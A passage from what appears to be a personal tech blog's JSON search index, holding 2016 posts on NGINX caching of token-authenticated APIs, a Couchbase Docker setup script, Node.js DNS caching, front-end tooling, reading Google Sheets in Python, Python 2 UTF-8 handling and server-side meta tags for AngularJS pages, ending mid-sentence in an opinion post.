href=\"http://www.madhur.co.in/serviceWorker.js\"\u003ehttp://www.madhur.co.in/serviceWorker.js\u003c/a\u003e\u003c/p\u003e","title":"Adding Service worker to Jekyll Site"},{"content":"To handle the ever increasing load, one of my requirements was to cache the authenticated REST API\u0026rsquo;s for faster processing and decrease the load on backend servers (Tomcat in this case).\nWe use Token based authentication for our REST API\u0026rsquo;s. That means our REST API\u0026rsquo;s are esentially stateless\nWe use a simple encrypted token passed in a header field, say X-AUTH-TOKEN\nNow, we have various API\u0026rsquo;s such as user profile, addresses which return data based on this token passed and I don\u0026rsquo;t want them to hit our backend servers everytime. Neither I am looking for unnecesarily storing this simply retrieved data in our Redis servers.\nInstead, we can use NGINX to cache these requests. We have a very simple architecture where NGINX acts as a reverse proxy for Tomcat servers.\nHere, every request is intercepted by NGINX and appropriate requests are passed back to Tomcat server. This is done using proxy_pass directive of NGINX.\nlocation /name/ { proxy_pass http://127.0.0.1/remote/; } We can ask NGINX to cache the request using just two directives: proxy_cache_path and proxy_cache\nproxy_cache_path /path/to/cache levels=1:2 keys_zone=my_cache:10m max_size=10g inactive=60m use_temp_path=off; server { ... location / { proxy_cache my_cache; proxy_pass http://my_upstream; } } This sets up the basic caching in NGINX as described here\nNow comes the fun part, how do we cache the authenticated requests. The key is to understand the What Cache Key Does NGINX use?\nThe default keys that NGINX generates is MD5 hash of the following NGINX variables: $scheme$proxy_host$request_uri\nFor this sample configuration, the cache key for http://www.example.org/profile is calculated as md5(“http://my_upstream:80/profile”)\nHowever, for token based authentiated requests, the cached response of http://www.example.org/profile will not be differentiated for different users, because the response is generated based on the X-AUTH-TOKEN field coming in the HTTP headers.\nTo solve for this, we simply add the token field as part of proxy_cache_key\nproxy_cache_key \u0026quot;$http_x_auth_token$request_uri\u0026quot;;\nThis will ensure that a new cache copy is created for each request having different X-AUTH-TOKEN in its header field.\nTo verify this, you can print out the key field in the response headers using\nadd_header X-Cache-Key $http_x_auth_token$request_uri;\n","permalink":"https://madhur.co.in/blog/2016/07/31/nginx-cache-authenticated-requests.html","summary":"\u003cp\u003eTo handle the ever increasing load, one of my requirements was to cache the authenticated REST API\u0026rsquo;s for faster processing and decrease the load on backend servers (\u003ca href=\"http://tomcat.apache.org/\"\u003eTomcat\u003c/a\u003e in this case).\u003c/p\u003e\n\u003cp\u003eWe use \u003ca href=\"http://stackoverflow.com/questions/1592534/what-is-token-based-authentication\"\u003eToken based authentication\u003c/a\u003e for our REST API\u0026rsquo;s. That means our REST API\u0026rsquo;s are esentially \u003ca href=\"http://www.tutorialspoint.com/restful/restful_statelessness.htm\"\u003estateless\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eWe use a simple encrypted token passed in a header field, say \u003ccode\u003eX-AUTH-TOKEN\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eNow, we have various API\u0026rsquo;s such as user profile, addresses which return data based on this token passed and I don\u0026rsquo;t want them to hit our backend servers everytime. Neither I am looking for unnecesarily storing this simply retrieved data in our \u003ca href=\"http://redis.io/\"\u003eRedis\u003c/a\u003e servers.\u003c/p\u003e","title":"Caching authenticated requests using NGINX"},{"content":"We are using docker to automate the develop environments through docker compose. We use couchbase heavily in our applications. One problem we faced is that if you boot up the docker image of couchbase, you will have to manually perform the setup process, create buckets and so on. Performing all of these steps manually and everytime is time consuming and not at all ideal.\nI will show you how we solved this problem and automated these steps through Dockerfile\nThe key thing here is that Couchbase exposes a set of services to perform each of the operation which can be invoked just after the server start.\nWe are using docker-compose and hence our docker-compose.yml is as follows:\nversion: \u0026#39;2\u0026#39; services: couchbase: build: couchbase/ ports: - 8091:8091 - 8092:8092 - 8093:8093 - 11210:11210 Through build: couchbase/, I am pointing to a couchbase directory which contains our Dockerfile and a script configure-node.sh which invokes the REST API endpoints of couchbase.\nHere is the very simplistic Dockerfile\nFROM couchbase:community-3.1.3 COPY configure-node.sh /opt/couchbase CMD [\u0026#34;/opt/couchbase/configure-node.sh\u0026#34;] We use the following script to configure the node.\nAll the files are given in this github repo\nset -m /entrypoint.sh couchbase-server \u0026amp; sleep 60 # Setup index and memory quota curl -v -X POST http://127.0.0.1:8091/pools/default -d memoryQuota=300 -d indexMemoryQuota=300 # Setup services curl -v http://127.0.0.1:8091/node/controller/setupServices -d services=kv%2Cn1ql%2Cindex # Setup credentials curl -v http://127.0.0.1:8091/settings/web -d port=8091 -d username=Administrator -d password=password # Load travel-sample bucket #curl -v -u Administrator:password -X POST http://127.0.0.1:8091/sampleBuckets/install -d \u0026#39;[\u0026#34;travel-sample\u0026#34;]\u0026#39; curl -X POST -u Administrator:password -d name=default -d ramQuotaMB=100 -d authType=none -d replicaNumber=2 -d proxyPort=11215 http://127.0.0.1:8091/pools/default/buckets curl -X POST -u Administrator:password -d name=feed -d ramQuotaMB=100 -d authType=none -d replicaNumber=2 -d proxyPort=11215 http://127.0.0.1:8091/pools/default/buckets # Setup Memory Optimized Indexes curl -i -u Administrator:password -X POST http://127.0.0.1:8091/settings/indexes -d \u0026#39;storageMode=memory_optimized\u0026#39; echo \u0026#34;Type: $TYPE, Master: $COUCHBASE_MASTER\u0026#34; if [ \u0026#34;$TYPE\u0026#34; = \u0026#34;worker\u0026#34; ]; then sleep 15 set IP=`hostname -I` couchbase-cli server-add --cluster=$COUCHBASE_MASTER:8091 --user Administrator --password password --server-add=$IP # TODO: Hack with the cuts, use jq may be better. #KNOWN_NODES=`curl -X POST -u Administrator:password http://$COUCHBASE_MASTER:8091/controller/addNode \\ # -d hostname=$IP -d user=Administrator -d password=password -d services=kv,n1ql,index | cut -d: -f2 | cut -d\\\u0026#34; -f 2 | sed -e \u0026#39;s/@/%40/g\u0026#39;` if [ \u0026#34;$AUTO_REBALANCE\u0026#34; = \u0026#34;true\u0026#34; ]; then echo \u0026#34;Auto Rebalance: $AUTO_REBALANCE\u0026#34; sleep 10 couchbase-cli rebalance -c $COUCHBASE_MASTER:8091 -u Administrator -p password --server-add=$IP #curl -v -X POST -u Administrator:password http://$COUCHBASE_MASTER:8091/controller/rebalance --data \u0026#34;knownNodes=$KNOWN_NODES\u0026amp;ejectedNodes=\u0026#34; fi; fi; fg 1 ","permalink":"https://madhur.co.in/blog/2016/07/07/create-couchbase-bucket-docker.html","summary":"\u003cp\u003eWe are using docker to automate the develop environments through \u003ca href=\"https://docs.docker.com/compose/\"\u003edocker compose\u003c/a\u003e. We use couchbase heavily in our applications. One problem we faced is that if you boot up the \u003ca href=\"https://hub.docker.com/r/couchbase/server/\"\u003edocker image of couchbase\u003c/a\u003e, you will have to manually perform the setup process, create buckets and so on.  Performing all of these steps manually and everytime is time consuming and not at all ideal.\u003c/p\u003e\n\u003cp\u003eI will show you how we solved this problem and automated these steps through \u003ca href=\"https://docs.docker.com/engine/reference/builder/\"\u003eDockerfile\u003c/a\u003e\u003c/p\u003e","title":"Create a couchbase bucket during build of the container"},{"content":"I recently discovered in one of my projects that results of DNS are not cached by NodeJs. Caching the results of DNS queries is one of the important things and can dramatically improve the speed and scalability of your application. In our application, we saw the number of HTTP requests jump from 35 to 2500 per seconds which is an almost 100x factor.\nHow to cache results of DNS queries One way could be to use a caching DNS library for Node such as DnsCache. Once this module is installed via npm install dnscache , every call to a dns method is first looked into the local cache, in case of cache hit the value from cache is returned, in case of cache miss the original dns call is made and the return value is cached in the local cache.\nIt is very similar to GOF Proxy design pattern providing a Cache Proxy.\nThe goal of this module is to cache the most used/most recent dns calls, to avoid the network delay and improve the performance.\nvar dns = require(\u0026#39;dns\u0026#39;), dnscache = require(\u0026#39;dnscache\u0026#39;)({ \u0026#34;enable\u0026#34; : true, \u0026#34;ttl\u0026#34; : 300, \u0026#34;cachesize\u0026#34; : 1000 }); //to use the cached dns either of dnscache or dns can be called. //all the methods of dns are wrapped, this one just shows lookup on an example //will call the wrapped dns dnscache.lookup(\u0026#39;www.yahoo.com\u0026#39;, function(err, result) { //do something with result }); //will call the wrapped dns dns.lookup(\u0026#39;www.google.com\u0026#39;, function(err, result) { //do something with result }); Second way is to cache the results of queries at OS level. This is my preferred way as your application does not have to worry about caching as it is done automatically by OS for you. There are many DNS caching resolvers available such as: Bind, dnsmasq and unbound\nHow to check if DNS cache is working If you are using the DNS caching resolver such as dnsmasq or unbound, the result of DNS query should be very fast i.e. in order of 1 msec or even 0 msec.\nFor example executing dig facebook.com gives me following output:\ndig facebook.com ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.8.2rc1-RedHat-9.8.2-0.37.rc1.el6_7.7 \u0026lt;\u0026lt;\u0026gt;\u0026gt; facebook.com ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 6468 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;facebook.com. IN A ;; ANSWER SECTION: facebook.com. 300 IN A 69.171.230.68 ;; Query time: 375 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Sat May 28 10:03:26 2016 ;; MSG SIZE rcvd: 46 Here the query time of 375 msec is what we are interested in. That\u0026rsquo;s way too high. If your DNS caching resolver is working fine, next time you execute this command, its time should be \u0026lt;=1msec.\ndig facebook.com ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.8.2rc1-RedHat-9.8.2-0.37.rc1.el6_7.7 \u0026lt;\u0026lt;\u0026gt;\u0026gt; facebook.com ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 7997 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;facebook.com. IN A ;; ANSWER SECTION: facebook.com. 184 IN A 69.171.230.68 ;; Query time: 0 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Sat May 28 10:05:22 2016 ;; MSG SIZE rcvd: 46 In the first case, where in you are using application level caching, DNS request should not be sent at all, i.e. we would have to monitor the DNS traffic and confirm its absence.\nWe can simply use TCPDump for this purpose.\ntcpdump -s 0 -l -n port 53 will give the all DNS traffic. For example in my executing dig facebook.com gives the following traffic:\ntcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 10:03:26.061650 IP 205.147.100.85.53967 \u0026gt; 192.54.112.30.domain: 30692% [1au] A? facebook.com. (41) 10:03:26.206708 IP 192.54.112.30.domain \u0026gt; 205.147.100.85.53967: 30692- 0/6/5 (649) 10:03:26.207148 IP 205.147.100.85.53067 \u0026gt; 69.171.255.12.domain: 10866% [1au] A? facebook.com. (41) 10:03:26.207348 IP 205.147.100.85.35076 \u0026gt; 192.31.80.30.domain: 62038% [1au] NS? facebook.com. (41) 10:03:26.290949 IP 69.171.255.12.domain \u0026gt; 205.147.100.85.53067: 10866*- 1/2/4 A 69.171.230.68 (169) 10:03:26.291306 IP 205.147.100.85.35719 \u0026gt; 192.54.112.30.domain: 13554% [1au] DS? facebook.com. (41) 10:03:26.423309 IP 192.31.80.30.domain \u0026gt; 205.147.100.85.35076: 62038- 0/6/5 (649) 10:03:26.423732 IP 205.147.100.85.13121 \u0026gt; 69.171.255.12.domain: 14660% [1au] NS? facebook.com. (41) 10:03:26.424027 IP 205.147.100.85.28055 \u0026gt; 69.171.239.12.domain: 58880% [1au] AAAA? a.ns.facebook.com. (46) 10:03:26.424211 IP 205.147.100.85.15049 \u0026gt; 69.171.255.12.domain: 29662% [1au] A? b.ns.facebook.com. (46) 10:03:26.424305 IP 205.147.100.85.33030 \u0026gt; 69.171.255.12.domain: 45018% [1au] AAAA? b.ns.facebook.com. (46) 10:03:26.424402 IP 205.147.100.85.42614 \u0026gt; 69.171.255.12.domain: 51358% [1au] A? a.ns.facebook.com. (46) 10:03:26.435590 IP 192.54.112.30.domain \u0026gt; 205.147.100.85.35719: 13554*- 0/6/1 (762) 10:03:26.512147 IP 69.171.255.12.domain \u0026gt; 205.147.100.85.13121: 14660*- 2/0/4 NS a.ns.facebook.com., NS b.ns.facebook.com. (153) 10:03:26.513377 IP 69.171.255.12.domain \u0026gt; 205.147.100.85.33030: 45018*- 1/2/3 AAAA 2a03:2880:ffff:c:face:b00c:0:35 (153) 10:03:26.513398 IP 69.171.255.12.domain \u0026gt; 205.147.100.85.15049: 29662*- 1/2/3 A 69.171.255.12 (153) 10:03:26.520676 IP 69.171.239.12.domain \u0026gt; 205.147.100.85.28055: 58880*- 1/2/3 AAAA 2a03:2880:fffe:c:face:b00c:0:35 (153) 10:03:26.525315 IP 69.171.255.12.domain \u0026gt; 205.147.100.85.42614: 51358*- 1/2/3 A 69.171.239.12 (153) In case of successful caching, no traffic should be observed from the application.\n","permalink":"https://madhur.co.in/blog/2016/05/28/nodejs-dns-cache.html","summary":"\u003cp\u003eI recently discovered in one of my projects that results of DNS are not cached by \u003ca href=\"https://nodejs.org/en/\"\u003eNodeJs\u003c/a\u003e. Caching the results of DNS queries is one of the important things and can dramatically improve the speed and scalability of your application. In our application, we saw the number of HTTP requests jump from 35 to 2500 per seconds which is an almost 100x factor.\u003c/p\u003e\n\u003ch2 id=\"how-to-cache-results-of-dns-queries\"\u003eHow to cache results of DNS queries\u003c/h2\u003e\n\u003cp\u003eOne way could be to use a caching DNS library for Node such as \u003ca href=\"https://www.npmjs.com/package/dnscache\"\u003eDnsCache\u003c/a\u003e. Once this module is installed via \u003ccode\u003enpm install dnscache\u003c/code\u003e , every call to a dns method is first looked into the local cache, in case of cache hit the value from cache is returned, in case of cache miss the original dns call is made and the return value is cached in the local cache.\u003c/p\u003e","title":"Speeding up Node.js HTTP requests with DNS caching"},{"content":"Almost 4 years ago, I wrote a blog post called Future of Web and Mobile: HTML5, CSS3 and Javascript, wherein I mentioned emergence of Javascript and explosion of Javascript frameworks such as Jquery, Knockout etc\u0026hellip;\nFast forward to now, I see modern web development again going through a overwhelming change. There is tons of information out there which can be very confusing especially for beginners. The prime reason is there are new frameworks coming up such as Angular 2 and ReactJs which make use of EcmaScript 6 features which is yet not fully finalized. And then there are more tools to convert your ES6 code to plain old javascript a.k.a ES5\nI am outlining series of programming language/tools in a sequence which should be learnt to understand the overwhelming and fast changing modern web development.\nJavascript\nThis is the one and only language understood by all the browsers and it is the backbone of front end development. It is also referred to as ECMAScript, ES 5. It is essential to have good grasp of this programming language before going any further. This video is gold.\nES6\nThis is an extension of Javascript language which is being implemented by many browsers. The good thing is you can start writing ES6 code even now, because there are transpilers available such as Babel to convert your ES6 code to ES5 code. It is good to go through these and get a sense of what are the new features. Don\u0026rsquo;t go too much deep because they are subject to change.\nBabel\nThis is one of the most popular ES6 to ES5 transpiler. It is also recommended by many frameworks such as React. To convert the ES6 to ES5 code in realtime, there is a REPL available at https://babeljs.io/repl/.\nNote that Babel just not ES6 to ES5 transpiler. It is also JSX to JavaScript transpiler. What is JSX? Read on below.\nNodeJs\nNodeJs is a server side platform which allows you to build your backend in JavaScript language. Why I am mentioning it here? Because, even if you are not interested in bakend development, there is lot of front tooling which depends on NodeJs. It is good to get atleast familar with node and its command line tools.\nNPM\nNPM is the package manager for node. It is just like pip for Python, ruby gems for Ruby and Maven for Java. Learn how to install/remove/upgrade packages and especially package.json file structure.\nGrunt or Gulp\nThese are two most popular task runners available which run on Node platform. Technically, they are packages for npm. They allow you to automate many mundane frontend tasks such as Linting your source files, concatenating, minifying and deploying and much much more \u0026hellip;.\nBower\nIt is a package management tool for frontend libraries itself. Want to add Jquery to your application? As easy as using bower install jquery\nThe knowledge of above tools is enough for any basic front end development. I will cover the tools for two most popular frameworks React and Angular below.\nReactJs\nIt is the most popular frontend library to build your views. Note that it is only a V in MVC and hence no comparison should be made with frameworks such as Angular. ReactJs is written in ES6 and can be transpiled to ES5 with Babel. It also uses JSX which is also transpiled to Javascript using Babel.\nWebPack or Browserify\nThese are 2 most popular module bundlers. They can take your Js source code, identify right dependencies and emit a single Javascript file which can power your entire application. I prefer Webpack. Have a look at this WebPack how to\nFlux or Redux\nReact components are arranged in a hierarchy. Most of the time, your data model also follows a hierarchy. In these situations Flux doesn’t buy you much. Sometimes, however, your data model is not hierarchical. When your React components start to receive props that feel extraneous, or you have a small number of components starting to get very complex, then you might want to look into Flux.\nImmutable.js\nImmutable.js provides a set of data structures that can help to solve certain performance issues when building React apps. It\u0026rsquo;s a great library, and you\u0026rsquo;ll probably use it a lot in your apps moving forward, but it\u0026rsquo;s completely unnecessary until you have an appreciation of the performance implications.\nAngular 2\nAngualr 2 is the next version of one of the most popular MVC framework for Javascript. It is completely re-designed and has a steep learning curve. Comes with full support of two way data binding. Careful evalaution need to be made if Angular2 is the right choice for the development. Its not released for production as of writing.\nTypeScript\nAngular 2 recommends the user of Typescript as its choice of programming language. I am not very familar with TypeScript but I guess it adds static type to the dynamic nature of Javascript. In the end, I am sure its just a transpiler.\nService workers\nExperimental API. Its like a background thread available to you in a browser for doing all sorts of work. I guess it also adds support for offline browsing.\nFetch API and Push API\nRead on the links. I have little idea about these as of now.\n","permalink":"https://madhur.co.in/blog/2016/05/14/things-learn-modern-web-development.html","summary":"\u003cp\u003eAlmost 4 years ago, I wrote a blog post called \u003ca href=\"/blog/2012/02/15/futurewebmobile.html\"\u003eFuture of Web and Mobile: HTML5, CSS3 and Javascript\u003c/a\u003e, wherein I mentioned emergence of Javascript and explosion of Javascript frameworks such as \u003ca href=\"http://jquery.com/\"\u003eJquery\u003c/a\u003e, \u003ca href=\"http://knockoutjs.com/\"\u003eKnockout\u003c/a\u003e etc\u0026hellip;\u003c/p\u003e\n\u003cp\u003eFast forward to now, I see modern web development again going through a overwhelming change. There is tons of information out there which can be very confusing especially for beginners. The prime reason is there are new frameworks coming up such as \u003ca href=\"https://angular.io/\"\u003eAngular 2\u003c/a\u003e and \u003ca href=\"https://facebook.github.io/react/\"\u003eReactJs\u003c/a\u003e which make use of \u003ca href=\"https://github.com/lukehoban/es6features\"\u003eEcmaScript 6\u003c/a\u003e features which is yet not fully finalized. And then there are more tools to convert your \u003ca href=\"https://github.com/lukehoban/es6features\"\u003eES6\u003c/a\u003e code to plain old javascript a.k.a \u003ca href=\"https://en.wikipedia.org/wiki/ECMAScript\"\u003eES5\u003c/a\u003e\u003c/p\u003e","title":"Things to learn for Modern Web Development"},{"content":"One of the many useful and productive feature for me personally is to programmatically read a Google docs spreadsheet in Python. This is very useful to automate a task to insert some data in MySQL/NOSQL/ElasticSearch, which would have otherwise required to build a custom user interface for data input.\nReading is actually quite simple. For example, you have a spreadsheet like this:\nFirst, you need to grab the file id. In the image below, file id is 19Y_Oi5_riecwonPbtxN4sfDntZO62s_vJbXoogFFp9o\nMake sure to give the read permission to anyone having the link, otherwise our python program won\u0026rsquo;t be able to read the file.\nFirst, we make a simple GET request on the export url of the spreadhseet using the requests module\nheaders={} headers[\u0026#34;User-Agent\u0026#34;]= \u0026#34;Mozilla/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0\u0026#34; headers[\u0026#34;DNT\u0026#34;]= \u0026#34;1\u0026#34; headers[\u0026#34;Accept\u0026#34;] = \u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34; headers[\u0026#34;Accept-Encoding\u0026#34;] = \u0026#34;deflate\u0026#34; headers[\u0026#34;Accept-Language\u0026#34;]= \u0026#34;en-US,en;q=0.5\u0026#34; lines = [] file_id=\u0026#34;19Y_Oi5_riecwonPbtxN4sfDntZO62s_vJbXoogFFp9o\u0026#34; url = \u0026#34;https://docs.google.com/spreadsheets/d/{0}/export?format=csv\u0026#34;.format(file_id) r = requests.get(url) Once we have the response, it is easy to read it using the csv module\nsio = io.StringIO( r.text, newline=None) reader = csv.reader(sio, dialect=csv.excel) for row in reader: # Do something with each row For example, to read the data as a dictionary, we can do something like this:\nfor row in reader: if rownum == 0: for col in row: data[col] = \u0026#39;\u0026#39; cols.append(col) else: i = 0 for col in row: data[cols[i]] = col i = i +1 print data rownum = rownum + 1 This will print the following output on console:\n{\u0026#39;Col C\u0026#39;: \u0026#39;3\u0026#39;, \u0026#39;Col B\u0026#39;: \u0026#39;2\u0026#39;, \u0026#39;Col A\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;Col D\u0026#39;: \u0026#39;4\u0026#39;} {\u0026#39;Col C\u0026#39;: \u0026#39;2\u0026#39;, \u0026#39;Col B\u0026#39;: \u0026#39;3\u0026#39;, \u0026#39;Col A\u0026#39;: \u0026#39;4\u0026#39;, \u0026#39;Col D\u0026#39;: \u0026#39;1\u0026#39;} {\u0026#39;Col C\u0026#39;: \u0026#39;2\u0026#39;, \u0026#39;Col B\u0026#39;: \u0026#39;4\u0026#39;, \u0026#39;Col A\u0026#39;: \u0026#39;3\u0026#39;, \u0026#39;Col D\u0026#39;: \u0026#39;1\u0026#39;} {\u0026#39;Col C\u0026#39;: \u0026#39;3\u0026#39;, \u0026#39;Col B\u0026#39;: \u0026#39;4\u0026#39;, \u0026#39;Col A\u0026#39;: \u0026#39;2\u0026#39;, \u0026#39;Col D\u0026#39;: \u0026#39;1\u0026#39;} Incase, we are using unicode characters with our file. We can make use of unicodecsv module. It is a drop in replacement of the csv module.\nimport unicodecsv as csv reader = csv.reader( urllib2.urlopen(url), encoding=\u0026#39;utf-8\u0026#39; ) for row in reader: The complete program is given in this gist and as well as below. You just need to replace the file_id parameter to start using it. Feel free to fork it :)\n","permalink":"https://madhur.co.in/blog/2016/05/13/google-docs-spreadsheet.html","summary":"\u003cp\u003eOne of the many useful and productive feature for me personally is to programmatically read a Google docs spreadsheet in Python. This is very useful to automate a task to insert some data in MySQL/NOSQL/ElasticSearch, which would have otherwise required to build a custom user interface for data input.\u003c/p\u003e\n\u003cp\u003eReading is actually quite simple. For example, you have a spreadsheet like this:\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/Blog/spreadsheet.png\"\u003e\u003c/p\u003e\n\u003cp\u003eFirst, you need to grab the file id. In the image below, file id is\n\u003ccode\u003e19Y_Oi5_riecwonPbtxN4sfDntZO62s_vJbXoogFFp9o\u003c/code\u003e\u003c/p\u003e","title":"Read Google docs spreadsheet using Python"},{"content":"Recently, we implemented a method in Python to send push notifications to users.\nIn some of the cases, the notification was being received like this:\nThis was due to specially encoded UTF-8 characters, which we were not handling in Python.\nTypically, whenever your Python source encounters a UTF-8 character, you get the following:\nSyntaxError: Non-ASCII character in file on line\nFor example, try out this program:\na = \u0026#39;India’s escalating water crisis\u0026#39; print a Here we have a UTF-8 chracter ’ in the string. Running this program will result in :\nSyntaxError: Non-ASCII character '\\xe2' in file pychar.py on line 3, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details\nAs the error suggests, the first step is to declare encoding on top of file:\n# encoding: utf-8\nHence,the program becomes:\n# encoding: utf-8 a = \u0026#39;India’s escalating water crisis\u0026#39; print a Now, the program will happily print out the string in the output.\nApart from that, it is also helpful to know that in python, these utf8 characters can be represented in both encoded and decoded forms.\nFor example, if I slightly modify my program as:\n# encoding: utf-8 import json a = \u0026#39;India’s escalating water crisis\u0026#39; a = a.decode(\u0026#39;unicode_escape\u0026#39;) print a b=json.dumps(a) print b The output becomes,\nIndia’s escalating water crisis \u0026quot;India\\u00e2\\u0080\\u0099s escalating water crisis\u0026quot;\nHere the characters have been represented in escaped forms. This is good for internal representation , but not something you want when you want to transfer the text for push notification to mobile devices or web pages.\nIn case, you want to completely strip out the special characters:\n# encoding: utf-8 import json a = \u0026#39;India’s escalating water crisis\u0026#39; d = a.decode(\u0026#39;unicode_escape\u0026#39;).encode(\u0026#39;ascii\u0026#39;,\u0026#39;ignore\u0026#39;) print d The output is: Indias escalating water crisis\nNotice in the output above, the apostophe character has been trimmed.\nUsing this knowledge, we are able to send notifications which contain all special characters:\n","permalink":"https://madhur.co.in/blog/2016/04/25/handling-special-characters-python.html","summary":"\u003cp\u003eRecently, we implemented a method in Python to send push notifications to users.\u003c/p\u003e\n\u003cp\u003eIn some of the cases, the notification was being received like this:\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/Blog/notif1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eThis was due to specially encoded UTF-8 characters, which we were not handling in Python.\u003c/p\u003e\n\u003cp\u003eTypically, whenever your Python source encounters a UTF-8 character, you get the following:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eSyntaxError: Non-ASCII character in file on line\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eFor example, try out this program:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;India’s escalating water crisis\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eprint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHere we have a UTF-8 chracter \u003ccode\u003e’\u003c/code\u003e in the string. Running this program will result in :\u003c/p\u003e","title":"Handling special characters in Python 2"},{"content":"Recently, We were designing a mobile web view for the news article shared on the app. I simply choose AngularJs for the ease of use and flexibility it provies.\nHowever, after complete implementation. When someone tried to share the story on Facebook, we saw this:\nThis happens because of social media sites like Facebook do not evalaute Javascript while fetching the meta tags. In our case, the meta tags were defined like this:\n\u0026lt;title ng-bind=\u0026#34;title\u0026#34;\u0026gt;\u0026lt;/title\u0026gt; \u0026lt;meta property=\u0026#34;og:title\u0026#34; content=\u0026#34;{{ data.caption }}\u0026#34; /\u0026gt; \u0026lt;meta property=\u0026#34;og:image\u0026#34; content=\u0026#34;{{ data.xImage}}\u0026#34; /\u0026gt; \u0026lt;meta property=\u0026#34;og:description\u0026#34; content=\u0026#34;{{ data.caption }}\u0026#34; /\u0026gt; We were relying on Angular\u0026rsquo;s interpolation to evaluate the meta tags which didn\u0026rsquo;t work since AngularJs is entirely executed on client side. This caused facebook to show raw values i.e. {{ data.caption }}\nTo solve this problem, we moved the meta tags evaluation to server side. Since we were using Java stack along with Spring, it was easy to do so. We made sure that our HTML markup was filtered through JSP tags. It was as easy as adding these directives on top of page:\n\u0026lt;%@ page isELIgnored=\u0026#34;false\u0026#34; %\u0026gt; \u0026lt;%@ page language=\u0026#34;java\u0026#34; contentType=\u0026#34;text/html; charset=ISO-8859-1\u0026#34; pageEncoding=\u0026#34;ISO-8859-1\u0026#34;%\u0026gt; \u0026lt;%@ taglib uri=\u0026#34;http://java.sun.com/jsp/jstl/core\u0026#34; prefix=\u0026#34;c\u0026#34; %\u0026gt; Now with JSTL tags in place, we replaced the meta tags with JPS tags:\n\u0026lt;title\u0026gt;\u0026lt;c:out value=\u0026#34;${title}\u0026#34;\u0026gt;\u0026lt;/c:out\u0026gt;\u0026lt;/title\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width\u0026#34;\u0026gt; \u0026lt;meta property=\u0026#34;og:title\u0026#34; content=\u0026#34;\u0026lt;c:out value=\u0026#34;${title}\u0026#34;\u0026gt;\u0026lt;/c:out\u0026gt;\u0026#34; /\u0026gt; \u0026lt;meta property=\u0026#34;og:image\u0026#34; content=\u0026#34;\u0026lt;c:out value=\u0026#34;${image}\u0026#34;\u0026gt;\u0026lt;/c:out\u0026gt;\u0026#34; /\u0026gt; \u0026lt;meta property=\u0026#34;og:description\u0026#34; content=\u0026#34;\u0026lt;c:out value=\u0026#34;${description}\u0026#34;\u0026gt;\u0026lt;/c:out\u0026gt;\u0026#34; /\u0026gt; Before returning the JSP page through an API call, we evaluated these meta tags on the server side itself:\n@RequestMapping(value = \u0026#34;/view/{newsId}\u0026#34;, method = RequestMethod.GET) public String getNews(HttpServletRequest request, @PathVariable(\u0026#34;newsId\u0026#34;) String slug, ModelMap mv, HttpServletResponse response) { NewsArticlesV2 newsArticlesV2 = newsServiceV2.getByExternalId(slug); String title = newsArticlesV2.getArticleTitle(); String description = newsArticlesV2.getNewsContent(); String image = newsArticlesV2.getImage(); response.setContentType(\u0026#34;text/html\u0026#34;); mv.addAttribute(\u0026#34;title\u0026#34;, title); mv.addAttribute(\u0026#34;image\u0026#34;, image); mv.addAttribute(\u0026#34;description\u0026#34;, description); mv.addAttribute(\u0026#34;slug\u0026#34;,slug); logger.debug(\u0026#34;request\u0026#34;,request); return \u0026#34;webforms/news\u0026#34;; } And the result becomes:\n","permalink":"https://madhur.co.in/blog/2016/04/09/making-angular-play-nice-with-social-sharing.html","summary":"\u003cp\u003eRecently, We were designing a mobile web view for the news article shared on the app. I simply choose AngularJs for the ease of use and flexibility it provies.\u003c/p\u003e\n\u003cp\u003eHowever, after complete implementation. When someone tried to share the story on Facebook, we saw this:\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/Blog/angular1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eThis happens because of social media sites like \u003ca href=\"\"\u003eFacebook\u003c/a\u003e do not evalaute Javascript while fetching the meta tags. In our case, the meta tags were defined like this:\u003c/p\u003e","title":"Making AngularJs play nice with Social sharing"},{"content":"Do you call your past employers shit ?\nif yes,\nits an insult to all the leaders who have guided you\nits an insult to the time you have spent working in the 